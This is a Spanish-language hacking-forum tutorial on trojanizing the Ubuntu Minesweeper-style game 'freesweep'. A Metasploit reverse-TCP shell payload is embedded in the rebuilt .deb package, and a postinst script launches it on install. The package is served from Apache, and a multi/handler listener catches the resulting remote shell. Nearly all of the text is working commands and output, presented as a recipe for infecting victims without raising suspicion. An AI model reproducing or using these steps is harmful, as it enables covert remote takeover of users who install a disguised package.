Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.

Para no levantar sospechas descargaremos un juego, en esté caso “Freesweep“, para despues infectarlo con el PAYLOAD.

Código:
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias      
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
  freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$

Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/

Código:
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).

Código:
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.

Código:
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$

Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.

Código:
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$

Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.

  • control
  • postinst
Código:
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Dentro del archivo control, pondremos la siguiente informacion:

Código:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.

Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.

Código
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Ahora crearemos el troyano con el PAYLOAD  linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el “Juego”.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$

Iniciamos el Servidor del Apache

Código:
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
 * Starting web server apache2                                                                   apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
                                                                                          [ OK ]
shellroot@shellroot-desktop:~/Troyano$

Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.

Código:
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Ahora supongamos que somos la victima y descargamos el archivo.

Código:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27--  http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>] 39.214      --.-K/s   en 0s      

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

Despues de descargado el archivo, lo instalamos.

Código:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb

Ahora miramos el multi/handler y voala, una session del Meterpreter

Código:
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)